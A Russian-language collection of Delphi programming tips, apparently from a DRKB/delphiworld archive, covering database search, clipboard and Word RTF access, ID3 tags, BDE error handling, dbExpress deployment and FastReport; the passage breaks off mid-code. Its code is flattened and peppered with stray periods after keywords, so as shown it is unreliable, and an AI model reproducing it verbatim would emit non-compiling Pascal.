Один из путей поиска в результатах запроса является последовательный поиск. Данный тип поиска стартует в первой строке набора данных и, с помощью цикла, последовательно сравнивает значения полей с искомой величиной. Возможно достижение одного из двух результатов: величина будет найдена (успех) или будет достигнут конец набора данных (неудача). Самый большой недостаток этого способа поиска заключается в том, что он самый медленный, поскольку искомая величина может оказаться в одной их последних записей, а для этого придется перебрать весь набор данных. При неудаче он должен перебрать весь набор данных. При интенсивном поиске данный метод займет большую часть времени вычислений.

Вот функция, выполняющая последовательный поиск в результатах запроса TQuery:

Code: Var. Pb: TProgressBar; Begin. ... Function SeqSearch(AQuery: TQuery; AField, AValue: String): Boolean; Begin. With AQuery do. Begin. First; While (not Eof) and (not (FieldByName(AField).AsString = AValue)) do. Next; SeqSearch := not Eof; End; End;

Как скопировать файл в Windows clipboard?

Code: Uses. ShlObj, ClipBrd; Procedure CopyFilesToClipboard(FileList: string); Var. DropFiles: PDropFiles; HGlobal: THandle; ILen: Integer; Begin. ILen := Length(FileList) + 2; FileList := FileList + #0#0; HGlobal := GlobalAlloc(GMEM_SHARE or GMEM_MOVEABLE or GMEM_ZEROINIT, SizeOf(TDropFiles) + iLen); If (hGlobal = 0) then raise Exception.Create('Could not allocate memory.'); Begin. DropFiles := GlobalLock(hGlobal); DropFiles^.pFiles := SizeOf(TDropFiles); Move(FileList[1], (PChar(DropFiles) + SizeOf(TDropFiles))^, iLen); GlobalUnlock(hGlobal); Clipboard.SetAsHandle(CF_HDROP, hGlobal); End; End; // Example, Beispiel: Procedure TForm1.Button1Click(Sender: TObject); Begin. CopyFilesToClipboard('C:\Bootlog.Txt'#0'C:\AutoExec.Bat'); End;

Как получить RTF из Word без буффера обмена?

Code: Uses. Word_TLB, ActiveX, ComObj; Function GetRTFFormat(DataObject: IDataObject; var RTFFormat: TFormatEtc): Boolean; Var. Formats: IEnumFORMATETC; TempFormat: TFormatEtc; PFormatName: PChar; Found: Boolean; Begin. Try. OleCheck(DataObject.EnumFormatEtc(DATADIR_GET, Formats)); Found := False; While (not Found) and (Formats.Next(1, TempFormat, nil) = S_OK) do. Begin. PFormatName := AllocMem(255); GetClipBoardFormatName(TempFormat.cfFormat, pFormatName, 254); If (string(pFormatName) = 'Rich Text Format') then. Begin. RTFFormat := TempFormat; Found := True; End; FreeMem(pFormatName); End; Result := Found; Except. Result := False; End; End; Function GetRTF: string; Var. DataObject: IDataObject; RTFFormat: TFormatEtc; ReturnData: TStgMedium; Buffer: PChar; WordDoc: _Document; WordApp: _Application; Begin. Result := ''; Try. GetActiveOleObject('Word.Application').QueryInterface(_Application, WordApp); Except. ShowMessage('Error: MSWord is not running'); Exit; End; If (WordApp <> nil) then. Try. WordDoc := WordApp.ActiveDocument; WordDoc.QueryInterface(IDataObject, DataObject); If GetRTFFormat(DataObject, RTFFormat) then. Begin. OleCheck(DataObject.GetData(RTFFormat, ReturnData)); //RTF is passed through global memory. Buffer := GlobalLock(ReturnData.hglobal); //Buffer is a pointer to the RTF text. Result := StrPas(Buffer); GlobalUnlock(ReturnData.hglobal); ReleaseStgMedium(ReturnData); End; Except. // Error occured... End; End; Procedure TForm1.Button1Click(Sender: TObject); Var. Ss: TStringstream; RtfText: string; Begin. RtfText := GetRTF; Ss := TStringStream.Create(rtfText); Try. Ss.Position := 0; Memo1.Text := rtfText; RichEdit1.Lines.LoadFromStream(ss); Finally. Ss.Free. End; End;

Как прочитать MP3 ID3-Tag?

Code: { Byte 1-3 = ID 'TAG' Byte 4-33 = Titel / Title. Byte 34-63 = Artist. Byte 64-93 = Album. Byte 94-97 = Jahr / Year. Byte 98-127 = Kommentar / Comment. Byte 128 = Genre. } Type. TID3Tag = record. ID: string[3]; Titel: string[30]; Artist: string[30]; Album: string[30]; Year: string[4]; Comment: string[30]; Genre: Byte; End; Const. Genres : array[0..146] of string = ('Blues','Classic Rock','Country','Dance','Disco','Funk','Grunge', 'Hip- Hop','Jazz','Metal','New Age','Oldies','Other','Pop','R&B', 'Rap','Reggae','Rock','Techno','Industrial','Alternative','Ska', 'Death Metal','Pranks','Soundtrack','Euro-Techno','Ambient', 'Trip-Hop','Vocal','Jazz+Funk','Fusion','Trance','Classical', 'Instrumental','Acid','House','Game','Sound Clip','Gospel','Noise', 'Alternative Rock','Bass','Punk','Space','Meditative','Instrumental Pop', 'Instrumental Rock','Ethnic','Gothic','Darkwave','Techno-Industrial','Electronic', 'Pop-Folk','Eurodance','Dream','Southern Rock','Comedy','Cult','Gangsta', 'Top 40','Christian Rap','Pop/Funk','Jungle','Native US','Cabaret','New Wave', 'Psychadelic','Rave','Showtunes','Trailer','Lo-Fi','Tribal','Acid Punk', 'Acid Jazz','Polka','Retro','Musical','Rock & Roll','Hard Rock','Folk', 'Folk-Rock','National Folk','Swing','Fast Fusion','Bebob','Latin','Revival', 'Celtic','Bluegrass','Avantgarde','Gothic Rock','Progressive Rock', 'Psychedelic Rock','Symphonic Rock','Slow Rock','Big Band','Chorus', 'Easy Listening','Acoustic','Humour','Speech','Chanson','Opera', 'Chamber Music','Sonata','Symphony','Booty Bass','Primus','Porn Groove', 'Satire','Slow Jam','Club','Tango','Samba','Folklore','Ballad', 'Power Ballad','Rhytmic Soul','Freestyle','Duet','Punk Rock','Drum Solo', 'Acapella','Euro-House','Dance Hall','Goa','Drum & Bass','Club-House', 'Hardcore','Terror','Indie','BritPop','Negerpunk','Polsk Punk','Beat', 'Christian Gangsta','Heavy Metal','Black Metal','Crossover','Contemporary C', 'Christian Rock','Merengue','Salsa','Thrash Metal','Anime','JPop','SynthPop'); Var. Form1: TForm1; Implementation. {$R *.dfm}. Function readID3Tag(FileName: string): TID3Tag; Var. FS: TFileStream; Buffer: array [1..128] of Char; Begin. FS := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite); Try. FS.Seek(-128, soFromEnd); FS.Read(Buffer, 128); With Result do. Begin. ID := Copy(Buffer, 1, 3); Titel := Copy(Buffer, 4, 30); Artist := Copy(Buffer, 34, 30); Album := Copy(Buffer, 64, 30); Year := Copy(Buffer, 94, 4); Comment := Copy(Buffer, 98, 30); Genre := Ord(Buffer[128]); End; Finally. FS.Free; End; End; Procedure TfrmMain.Button1Click(Sender: TObject); Begin. If OpenDialog1.Execute then. Begin. With readID3Tag(OpenDialog1.FileName) do. Begin. LlbID.Caption := 'ID: ' + ID; LlbTitel.Caption := 'Titel: ' + Titel; LlbArtist.Caption := 'Artist: ' + Artist; LlbAlbum.Caption := 'Album: ' + Album; LlbYear.Caption := 'Year: ' + Year; LlbComment.Caption := 'Comment: ' + Comment; If (Genre >= 0) and (Genre <=146) then. LlbGenre.Caption := 'Genre: ' + Genres[Genre]. Else. LlbGenre.Caption := 'N/A'; End; End; End;

FindKey для нескольких полей.

Code: With Table1 do. Begin. SetKey; FieldByName('State').AsString := 'CA'; FieldByName('City').AsString := 'Scotts Valley'; GotoKey; End;

Перехват ошибок DBEngine.

Автор: Eryk.

Ошибки общего характера, типа Key Violation или конфликты блокировки лучше всего обрабатывать в обработчике события Application.OnException ...например:

Code: {Секция Interface}. Procedure HandleException(Sender: TObject; E: Exception); ... {Секция Implementation}. Procedure TForm1.HandleException(Sender: TObject; E: Exception); Var. Err: DBIResult; Begin. If E is EDBEngineError then. Begin. Err := (E as EDBEngineError).errors[(E as EDBEngineError).errorcount - 1].errorcode; If (err = DBIERR_KEYVIOL) then. ShowMessage('Ошибка Key violation!'). Else if (err = DBIERR_LOCKED) then. Showmessage('Запись блокирована другим пользователем'). Else if (err = DBIERR_FILELOCKED) then. Showmessage('Таблица блокирована кем-то еще'). Else. Showmessage('Другая ошибка DB'). End. Else. Showmessage('Упс!: ' + E.Message); End; ...'инсталлировать' обработчик исключений можно так: Procedure TForm1.FormCreate(Sender: TObject); Begin. Application.onException:=HandleException; End;

Ошибка создания дескриптора курсора.

Вы должны использовать ExecSql вместо Open. К примеру, если имя вашего запроса UpdateStudent, то при необходимости обновления STUDENT.DB вы должны использовать следующий код:

Code: Begin. ..... UpdateStudent.ExecSql; ..... End;

Ошибка BDE32 2104.

Автор: Pat Ritchey.

Пример, приведенный для функции dbiGetDatabaseDesc в файле BDE32.HLP, неверен. Такой же пример содержится в файле TI3100.ASC. Я пробовал это на 3 разных компьютерах. Я использую среду Delphi. Ошибка, которую я получаю при попытке использования функции, выглядит следующим образом:

EDBEngineError с сообщением 'Возникла ошибка при попытке инициализации Borland Database Engine (ошибка $2104).'

При вызове любой из функций BDE, если вы не пользуетесь компонентами для работы с базами данных, вам необходимо инициализировать BDE вызовом dbiInit(nil).

©Drkb::02589.

Взято с http://delphiworld.narod.ru.

TClientDataSet. Некорректное формирование XML.

Delphi5 build 5.62, midas.dll v5.0.5.63.

При использовании SaveToFile('file.xml', dfXML) формируется некорректный текст XML, если набор данных содержит изменения, т.е. при непустом Delta.

Пример:

Набор данных состоит их двух полей.

IntField: integer.

StrField: string(20).

После ввода.

1 aaa.

2 bbb.

3 ccc.

4 ddd.

И сохранения текст XML имеет вид:

<?xml version="1.0" standalone="yes"?> <DATAPACKET Version="2.0">

<METADATA><FIELDS><FIELD attrname="IntField" fieldtype="i4"/>

<FIELD attrname="StrField" fieldtype="string" WIDTH="20"/></FIELDS>

<PARAMS CHANGE_LOG="1 0 4 2 0 4 3 0 4 4 0 4"/></PARAMS></METADATA>

<ROWDATA><ROW RowState="4" IntField="1" StrField="aaa"/>

<ROW RowState="4" IntField="2" StrField="bbb"/>

<ROW RowState="4" IntField="3" StrField="ccc"/>

<ROW RowState="4" IntField="4" StrField="ddd"/>

</ROWDATA></DATAPACKET>

Ошибочным явлается наличие тэга </PARAMS>, т.к. открывающий тэг <PARAMS.../> уже содержит ограничитель "/".

После вызова MergeChangeLog, CancelUpdates или ApplyUpdates сохраняется корректный XML.

КОММЕНТАРИЙ.

Проблема заключена именно в midas.dll. При проверке в Delphi 5 update pack 1 (build 6.18) баг не проявляется - XML формируется корректно. Если же сменить midas.dll на старую - версии 5.0.5.63 - получаем вышеописанный результат.

Скачать тест StoneTest_22.zip (2.3K).

Мораль сей басни такова: ставьте свежие сервиспаки.

©Drkb::03106.

Взято с http://delphiworld.narod.ru.

Модуль данных для каждого MDIChild.

Когда во время разработки вы устанавливаете "DataSource"-свойство в БД-компонентах для указания на модуль данных, VCL во время выполнения приложения будет пытаться создать связь с существующим TDataModule, основываясь на его свойтсве Name. Так, если вы добавите модуль данных к вашему проекту и переместите его в свойстве проекта из колонки автоматически создаваемых форм в колонку доступных, вы сможете разработать форму, содержащую элементы управления для работы с базами данных, после чего несколькими строчками кода можете создать экземпляр формы, имеющий экземпляр собственного модуля данных.

С помощью Репозитория создайте "standard MDI application" (стандартное MDI-приложение), в котором модуль TMDICHild будет похож на приведенный ниже. Добавленные строки имеют комментарий {!}. Хитрости спрятаны в конструкторе create и задании другого порядка следования операторов.

Code: Unit Childwin; Interface. Uses Windows, Classes, Graphics, Forms, Controls, ExtCtrls, DBCtrls, StdCtrls, Mask, Grids, DBGrids, DataM; {!} // Модуль TDataModule1. Type. TMDIChild = class(TForm). DBGrid1: TDBGrid; DBGrid2: TDBGrid; DBEdit1: TDBEdit; DBEdit2: TDBEdit; DBNavigator1: TDBNavigator; Procedure FormClose(Sender: TObject; var Action: TCloseAction); Private. { Private declarations }. Public. { Public declarations }. {!} DM: TDataModule1; {!} constructor Create(AOwner: TComponent); override; End; Implementation. {$IFDEF XOXOXOX} // DataM должен находиться в секции interface. Необходимо для среды. Uses DataM; // времени проектирования. Определение "XOXOXOX" подразумевает, {$ENDIF} // что это никогда не будет определено, но чтобы компилятор видел это. {$R *.DFM}. {!} constructor TMDIChild.Create; {!} Begin. {!} DM := TDataModule1.Create(Application); {!} inherited Create(AOwner); {!} DM.Name := ''; {!} End; Procedure TMDIChild.FormClose(Sender: TObject; var Action: TCloseAction); Begin. Action := caFree; End; End.

Как передать UserName и Password в удаленный модуль данных?

В Удаленный Модуль Данных бросьте компонент TDatabase, затем добавьте процедуру автоматизации (пункт главного меню Edit | Add To Interface) для Login.

Убедитесь, что свойство HandleShared компонента TDatabase установлено в True.

Code: Procedure Login(UserName, Password: WideString); Begin. { DB = TDatabase }. { Something unique between clients }. DB.DatabaseName := UserName + 'DB'; DB.Params.Values['USER NAME'] := UserName; DB.Params.Values['PASSWORD'] := Password; DB.Open; End;

Развертывание приложения, использующего dbExpress.

Автор: Андрей Пащенко.

Специально для Королевства Delphi.

Начиная с Delphi 6 в палитре компонентов появилась новая закладка dbExpress. В настоящее время данные "кирпичики" широко используются в приложения для доступа к различным базам данных. Однако развернув готовое приложение на компьютере, без установленной Delphi, разработчик недоумевает о неработоспособности приложения. Возникает резонный вопрос: ЧТО ДЕЛАТЬ?

Согласно справочной системе Delphi корректную работу вашего приложения в операционной системе Windows можно обеспечить двумя способами: в виде одного exe файла, либо используя дополнительные DLL библиотеки.

Первый способ - единый exe файл.

Все что необходимо сделать для нормальной работы вашего приложения это добавить в оператор USES ссылку на три DCU файла, находящихся в директории Lib (по умолчанию C:\Program Files\Borland\Delphi6\Lib\).

Первый файл имеет имя Crtl. Ссылку на него необходимо добавлять всегда, когда в приложении используется dbExpress и планируется обойтись без дополнительных DLL.

Если в программе используются классы TSQLClientDataSet, TClientDataSet или их потомки, возникает необходимость добавления ссылки на файл MidasLib.

В зависимости от используемого SQL сервера в оператор USES необходимо добавить:

Для MySQL - dbExpMy (в случае установленного Service Pack 2 - dbExpMySQL);

Для InterBase - dbExpInt;

Для Oracle - dbExpOra;

Для DB2 - dbExpDb2.

Второй способ - применение дополнительных DLL.

Работу механизма dbExpress в программе выполняют две библиотеки. Их имена совпадают с именами DCU файлов.

При наличии в устанавливаемом приложении классов TSQLClientDataSet, TClientDataSet или их потомков необходимо наличие файла Midas.dll.

Вторая DLL обеспечивает связь с конкретным SQL сервером:

Для MySQL - dbexpmy.dll (в случае установленного Service Pack 2 - dbExpMySQL.dll);

Для InterBase - dbexpint.dll;

Для Oracle - dbExpOra.dll;

Для DB2 - dbExpDb2.dll.

Все дополнительные библиотеки должны находится либо в директории вашей программы, либо в директориях указанных в переменной PATH. Например: C:\Windows\SYSTEM\ или C:\Winnt\SYSTEM32\

Независимо от выбранного способа вам вероятно потребуется и дополнительная DLL для доступа к серверу, которую можно найти в дистрибутиве используемого вами SQL сервера (например для MySQL это файл libmySQL.dll).

Что же выбрать?

В череде экспериментов in vitro (т.е. в искусственных условиях) были выявлены только два различия.

Различие №1. Размеры распространяемого приложения.

Если вы обходитесь без дополнительных DLL библиотек, то ваш exe файл увеличивается в размере.

Приложение для тестов:

Тестовый пример состоял из формы на которой размещены два не визуальных компонента: TSQLConnection, TSQLClientDataSet. Компоненты настроены для работы с SQL сервером MySQL. Все настройки компиляции установлены по умолчанию.

Размер EXE файла без дополнительных DLL больше после компилирования на 245248 байта (239,5 Кб). В то же время суммарный размер одного приложения без дополнительных DLL меньше на 140800 байта (137,5 Кб) (табл. 1).

Таблица 1. Размеры распространяемых файлов для приложения использующего dbExpress для доступа к SQL серверу.

Тип файла Размер файлов необходимых для приложения без дополнительных DLL(байты) Размер файлов необходимых для приложения с дополнительными DLL(байты).

Исполняемый файл 985600 740352.

Дополнительные DLL.

Для MySQL - dbexpmysql.dll - 92160.

Midas.dll - 293888.

ИТОГО 985600 1126400.

Таким образом если на компьютере используется больше, чем одно приложение, то выгода от использования дополнительных DLL очевидна.

Различие №2. Реестр Windows.

Если приложение использует дополнительные DLL, то при первом запуске приложения в реестре добавляются ссылки на файл Midas.dll. (см. файл MidasReg.zip).

При перемещении или удалении файла из данного места все приложения использующие Midas.dll перестают работать. Для восстановления работоспособности приходится вручную удалять данные записи из реестра.

Приемлемым выходом из данной ситуации можно считать размещение данной библиотеки в системной директории Windows (C:\Windows\SYSTEM\ или C:\Winnt\SYSTEM32\).

Если приложение распространяется без Midas.dll или dbExpress используется в DLL, то данных изменений в реестре на наблюдается.

Таким образом если необходимо избежать "мусора" в реестре, то необходимо подготовить ваше приложения к работе без дополнительных DLL.

©Drkb::02686.

Взято с http://delphiworld.narod.ru.

FastReport - Разработка кросс-платформенных отчетов.

Автор: Михаил Филиппенко.

WEB-сайт: FastReport Software.

Еще со времен Ады Ловлес разработчики программного обеспечения пытаются облегчить себе жизнь. И, без сомнения, это им удается.

Собственно говоря, любое современное приложение можно условно разделить на четыре части: функциональную (она выполняет обработку информации), интерфейсную (на нее возложено общение с пользователем, к которому нас приучили продукты Microsoft), базы данных (порядка 90% приложений напрямую или косвенно используют хранение информации в более или менее сложных структурах, для которых наиболее удобными оказываются базы данных) и отчетную (несмотря на все шаги в сторону автоматизации документооборота документы на бумаге все еще считаются важными и ни одна организация не обходится без них).

Давно прошли те времена, когда разработчику каждого приложения приходилось каждый раз изобретать формат базы данных, отчет и интерфейс. Можно увидеть, как за короткий срок базы и банки данных выделились в отдельную группу, приложения и интерфейсная часть в другую, генераторы отчетов - в третью. Благодаря таким средствам разработки как MS VisualC, Visual Basic, C# и Borland Delphi разработка серьезных приложений, работающих с базами данных, сегодня превратилась в некоторое подобие детского конструктора, в котором что угодно можно собрать из отдельных "кубиков".

Такой "кубик" как генераторы отчетов выделился в отдельную и немаловажную часть в разработках относительно недавно, однако и здесь есть богатейший выбор инструментов для построения отчетных форм (именно их, зачастую, в конечном счете требует заказчик). Для того же Borland Delphi вы можете воспользоваться как встроенными средствами, идущими в комплекте c Borland Delphi и Borland Visual C++Builder - QuickReport ак и более "продвинутыми" продуктами от других разработчиков, это Crystal Reports от Seagate Software (ныне Crystal Software), представляющий собой вполне самостоятельный продукт, имеющий компоненты, дающие доступ к его возможностям из любой популярной сегодня среды разработки, будь то Borland Delphi, MS Visual C или MS Visual Basic, это и ReportBuilder от компании DigitalMetaphors (по опросу DelphiZine вот уже несколько лет признаваемый самым популярным инструментом для разработки отчетов в Delphi), это и ReportPrinter (ныне Rave) от Nevrona Design, а также FastReport (по тому же опросу поделившие второе и третье место в 2001 году и вышедший на стабильное второе место в 2002 году).

На сегодняшний день FastReport версии 2.4 - это полностью визуальный генератор отчетов, т.е. большинство отчетов можно построить, пользуясь только мышью. Вот только некоторые его возможности:

Бэнд-ориентированный генератор отчетов.

Встроенный мощный дизайнер, доступный и в run-time.

WYSIWYG предварительный просмотр как в MS Word (т.е. мы можем видеть одновременно несколько страниц отчета).

Скорость работы сравнима с QuickReport.

Компактность кода - без дизайнера меньше, чем QuickReport3.

Неограниченное количество страниц сформированного отчета.

Многостраничные отчеты; составные (композитные) отчеты; вложенные отчеты; группы; многоколоночные отчеты; master-detail-detail отчеты; cross-tab отчеты; двухпроходные отчеты; "живые" отчеты.

Полный контроль над процессом печати, поддержка всех типов бумаги.

Набор наиболее популярных компонентов: Текст, Линия, Рисунок, Фигура, OLE объект, RichText, RX Rich 2.0, Диаграмма, Штрих-код.

Экспорт в TXT, RTF, CSV, HTML (в RTF, HTML - с картинками).

Поиск текста в сформированном отчете.

Редактирование сформированного отчета.

Встроенный интерпретатор Pascal-подобного языка для управления процессом построения отчета.

Набор визуальных компонентов для создания диалоговых форм;

Набор невизуальных компонентов для создания таблиц, запросов и баз данных;

Работа с BDE, Interbase Express (IBX), ActiveX Data Objects (ADO).

Работа как с Database - ориентированными источниками данных, так и с любыми данными.

Форма отчета может храниться как в DFM, так и во внешнем файле.

Функциональность может быть расширена за счет написания собственных компонент - визуальных объектов, мастеров, библиотек функций.

Построение типичного отчета включает в себя следующие этапы:

1. Выборка данных.

На основе которых строится отчет. Большинство отчетов, как правило, основано на данных из БД. Для доступа к таким данным Delphi предоставляет эффективные механизмы, компоненты- наследники TDataSet., которые и используются в FastReport. Это могут быть компоненты TTable и TQuery, которые используемые как источники данных для отчета. Организация доступа к данным из БД осуществляется ядром FastReport без участия программиста.

Кроме данных, хранимых в БД, FastReport может использовать практически любые источники (массив, файл, содержимое StringGrid и пр.). Но в этом случае программист должен сам позаботиться о доступе к такой информации, используя набор событий, позволяющих осуществить передачу данных в ядро FastReport.

Реализация доступа к данным примерно одинакова во всех генераторах отчетов. Все генераторы умеют обращаться с компонентами доступа к данным, расположенными на формах проекта. Кроме доступа к данным, определенным в проекте, и FastReport, и ReportBuilder, и QR+QRDesigner позволяют создавать новые компоненты в run-time. В FastReport принципы создания компонентов доступа к данным максимально приближены к тем, что используются в среде Delphi. Так же, как и в Delphi, на форму кладется компонент и в инспекторе объектов настраиваются его свойства. Компонентная идеология весьма гибкая: можно легко создавать новые компоненты для поддержки разных движков доступа к данным. На самом деле сейчас у FR уже есть компоненты для доступа практически ко всем популярным СУБД.

2. Ввод параметров.

Вносящих необходимые уточнения в готовящийся отчет. На этом этапе осуществляется запрос параметров у пользователя (например, диапазон дат, по которому необходимо вывести данные). Некоторые отчеты обходятся без этого этапа либо используют фиксированную установку параметров (без запроса их значений в диалоге).

Этот этап реализован в разных генераторах отчетов по-разному. Так, в RерогtВиi1dегб Rave и QR+QRDesigner есть возможность запроса параметров, если отчет использует данные из запроса (Query). Для диалога с пользователем используется "штатное" диалоговое окно. Кроме того, для запроса параметров можно использовать форму, разработанную в среде Delphi. Правда, при необходимости каких-либо изменений в логике работы придется перекомпилировать проект.

FastReport, помимо этого, позволяет конечному пользователю самому разрабатывать форму диалога, причем этот диалог будет частью отчета, а не приложения. Процесс напоминает построение формы в среде Delphi: имеется набор стандартных элементов управления, которые можно располагать на форме диалога и настраивать их свойства. С помощью встроенного языка FastReport позволяет реализовать необходимую логику работы диалога и передать введенные значения ядру генератора.

Возможность создания собственных диалогов очень полезна - вкупе с остальными возможностями (автономное создание источников данных, использование встроенного языка) она позволяет создавать "самодостаточные" отчеты, т.е. отчеты, максимально отвязанные от среды Delphi. Это позволяет создавать новые отчеты и модифицировать существующие без переписывания или перекомпиляции проекта.

Пример 1 - после формирования третьей страницы отчет может вывести диалог с запросом - а надо ли строить остальные страницы?

Пример 2 - В диалоговом окне могут быть практически любые элементы, вплоть до поля даты-времени, переключателей типа "radiobutton" и "checkbox", выпадающих списков и т.д., таковые возможности не предоставляет ни один из остальных упоминавшихся генераторов!

3. Построение отчетной формы.

Представляющей собой набор элементов, описывающих то, как должен выглядеть готовый отчет. Для группировки элементов по их функциональному расположению в готовом отчете традиционно применяются бэнды (от англ. band - полоска). Бэнды разделяются на два вида: служебные (заголовок отчета, страницы и пр.) и бэнды, образующие повторяющуюся (многострочную) часть отчета (далее - дата-бэнды). Дата-бэнды подключаются к источникам данных, и их содержимое выводится столько раз, сколько имеется строк данных в источнике. В случае с табличным (так называемом cross-tab - отчетом) повторяться могут как строки так и столбцы отчета.

Для построения формы отчета в FastReport используется визуальная среда разработки - дизайнер отчетов. Интерфейс дизайнера подобен большинству современных приложений, работающих с документами. Расположение традиционных панелей инструментов (toolbars), можно изменять по своему вкусу. Для удобства манипуляции свойствами объектов отчета используется инспектор объектов, аналогичный встроенному в среду разработки Borland Delphi.

4. Обработка данных.

Подразумевающая под собой обработку входных данных, модификацию формы отчета или отдельных ее компонентов в процессе построения отчета. Простейший пример такой обработки - вывод отрицательных сумм красным цветом. Более сложный пример обработки - печать суммы, которая подсчитывается в подвале группы, в ее заголовке.

Реализовать подобную обработку можно, прибегнув к написанию обработчиков событий в Delphi - именно так и сделано во всех генераторах отчетов. Но этот способ не дает достаточной гибкости отчету, поскольку не позволяет создавать новые отчеты вне среды Delphi без переписывания и перекомпиляции проекта. Для достижения таковой универсальности в FastReport и ReportBuilder применен встроенный язык - упрощенный аналог Pascal. Скрипты, написанные на этом языке, по сути дела, являются обработчиками событий, вызывающимися перед прорисовкой объектов. Это дает возможность выполнять достаточно сложную обработку информации без написания кода в Delphi, и, соответственно, без жесткой привязки отчета к проекту.

Возможности встроенного языка FastReport довольно широки. Из скрипта доступны все свойства и методы объектов отчета, а также переменные, поля таблиц БД. В скрипте можно создавать переменные и массивы, которые будут доступны во всем отчете. О возможностях встроенного языка говорит тот факт, что такая довольно сложная задача, как печать сумм группы в ее заголовке (сама сумма считается в подвале группы) средствами языка FastReport делается элементарно.

5. Готовый отчет.

Представляет собой продукт деятельности ядра FastReport - то, что мы видим при нажатии кнопки "Предварительный просмотр". В отличие от остальных генераторов отчетов, которые хранят содержимое страниц отчета в виде метафайла (т.е. изображения в формате EMF), в FastReport готовый отчет представлен набором объектов, описывающих содержимое каждой страницы отчета. Это позволяет модифицировать готовый отчет, загружая нужную страницу в дизайнер. Кроме того, можно описывать реакцию на щелчок мыши на нужном объекте в режиме предварительного просмотра отчета. Это позволяет легко организовать работу приложения, при которой щелчок на объекте отчета вызывает генерацию нового отчета с более детальными сведениями по выбранному объекту.

Кроме того, ни один из существующих сегодня генераторов отчетов не поддерживает такое число сред разработки (Можно сказать, что мы заглядываем в рот Borland и стараемся выпустить генератор отчетов под любую новую версию их сред разработки :-) ). Итак, FastReport сегодня можно использовать в средах: Delphi со второй по 7ю версию, C++Builder всех версий, а также в первой визуальной среде разработки приложений под Linux - Kylix всех версий. Можем похвастаться, что это наша компания выпустила первый генератор отчетов для Kylix, Rave, который сейчас поставляется с новыми версиями продуктов Borland, в том числе и Kylix3, был выпущен примерно на полгода позже. :-).

Естественно, было бы глупо останавливаться на достигнутом. На сегодня разрабатывается принципиально новая версия генератора отчетов, который станет ядром для целого спектра продуктов, предназначенных как для профессиональных разработчиков, причем не только в средах разработки Borland, так и для конечных пользователей.

Что же еще новенького планируется?

· Формат сохранения файлов - текстовый и бинарный dfm, а также XML

· Новый объект - диагональная линия.

· Новые типы заливки для объектов.

· Текст под углом 0..360.

· Отступ параграфа.

· Возможность отключения печати объектов отчета.

· Наследование форм отчетов.

· Возможность отключить редакторы св-в и компонентов, если дизайнер не используется.

Скрипт.

· Единый скрипт для всего отчета (как unit в Delphi).

· Поддержка синтаксиса как Pascal, так и C++ в скриптовом языке

· Новые обработчики событий для объектов отчета.

· Новые возможности (try/except, with, case и т.п.)

· Увеличенная (в сравнении с FR2.4) скорость работы.

Дизайнер:

· Архитектура - компактное независимое ядро + интерфейс.

· Улучшенный интерфейс, возможность докинга вспомогательных окон.

· Улучшенный Инспектор объектов

· Масштабирование (Zoom).

· Редактирование мемо-объектов на месте.

· Более удобное рисование линий.

· Более удобная вставка бэндов.

· Бэнды, "прилипающие" друг к другу.

· Более удобный выбор поля БД для мемо-объекта.

· Возможность отображать содержимое поля БД вместо его названия.

· Сетка-миллиметровка, дюймовка, с произвольным шагом.

· Возможность построения отчетов для вывода на матричный принтер.

· Изменение левой/правой границ листа (объекты сдвигаются автоматически).

· Мастера для создания базовых типов отчетов.

· Копирование объектов в буфер обмена Windows.

· Полный откат / возврат (Undo/Redo).

Глобальный словарь данных:

· Задание имен (алиасов) для всех таблиц и полей, содержащихся в БД проекта.

· Автоматическая подстановка алиасов во всех диалоговых окнах FR.

Предварительный просмотрщик:

· Улучшенный интерфейс.

· Редактирование на месте.

· События, генерируемые на сформированном отчете могут быть обработаны в скрипте.

· Выделение объектов и копирование в буфер обмена.

Дополнительные объекты:

· Добавить свой объект проще, чем когда бы то ни было.

©Drkb::03279.

Взято с http://delphiworld.narod.ru.

Убывающий индекс.

Table1.AddIndex('NewIndex', 'CustNo;CustName', [ixDescending]);

©Drkb::02624.

Взято с http://delphiworld.narod.ru.

Как прочитать shortcut's link information?

Code: Uses. ShlObj, ComObj, ActiveX, CommCtrl; Type. PShellLinkInfoStruct = ^TShellLinkInfoStruct; TShellLinkInfoStruct = record. FullPathAndNameOfLinkFile: array[0..MAX_PATH] of Char; FullPathAndNameOfFileToExecute: array[0..MAX_PATH] of Char; ParamStringsOfFileToExecute: array[0..MAX_PATH] of Char; FullPathAndNameOfWorkingDirectroy: array[0..MAX_PATH] of Char; Description: array[0..MAX_PATH] of Char; FullPathAndNameOfFileContiningIcon: array[0..MAX_PATH] of Char; IconIndex: Integer; HotKey: Word; ShowCommand: Integer; FindData: TWIN32FINDDATA; End; Procedure GetLinkInfo(lpShellLinkInfoStruct: PShellLinkInfoStruct); Var. ShellLink: IShellLink; PersistFile: IPersistFile; AnObj: IUnknown; Begin. // access to the two interfaces of the object. AnObj := CreateComObject(CLSID_ShellLink); ShellLink := AnObj as IShellLink; PersistFile := AnObj as IPersistFile; // Opens the specified file and initializes an object from the file contents. PersistFile.Load(PWChar(WideString(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile)), 0); With ShellLink do. Begin. // Retrieves the path and file name of a Shell link object. GetPath(lpShellLinkInfoStruct^.FullPathAndNameOfFileToExecute, SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile), LpShellLinkInfoStruct^.FindData, SLGP_UNCPRIORITY); // Retrieves the description string for a Shell link object. GetDescription(lpShellLinkInfoStruct^.Description, SizeOf(lpShellLinkInfoStruct^.Description)); // Retrieves the command-line arguments associated with a Shell link object. GetArguments(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute, SizeOf(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute)); // Retrieves the name of the working directory for a Shell link object. GetWorkingDirectory(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy, SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy)); // Retrieves the location (path and index) of the icon for a Shell link object. GetIconLocation(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon, SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon), LpShellLinkInfoStruct^.IconIndex); // Retrieves the hot key for a Shell link object. GetHotKey(lpShellLinkInfoStruct^.HotKey); // Retrieves the show (SW_) command for a Shell link object. GetShowCmd(lpShellLinkInfoStruct^.ShowCommand); End; End; Procedure TForm1.Button1Click(Sender: TObject); Const. Br = #13#10; Var. LinkInfo: TShellLinkInfoStruct; S: string; Begin. FillChar(LinkInfo, SizeOf(LinkInfo), #0); 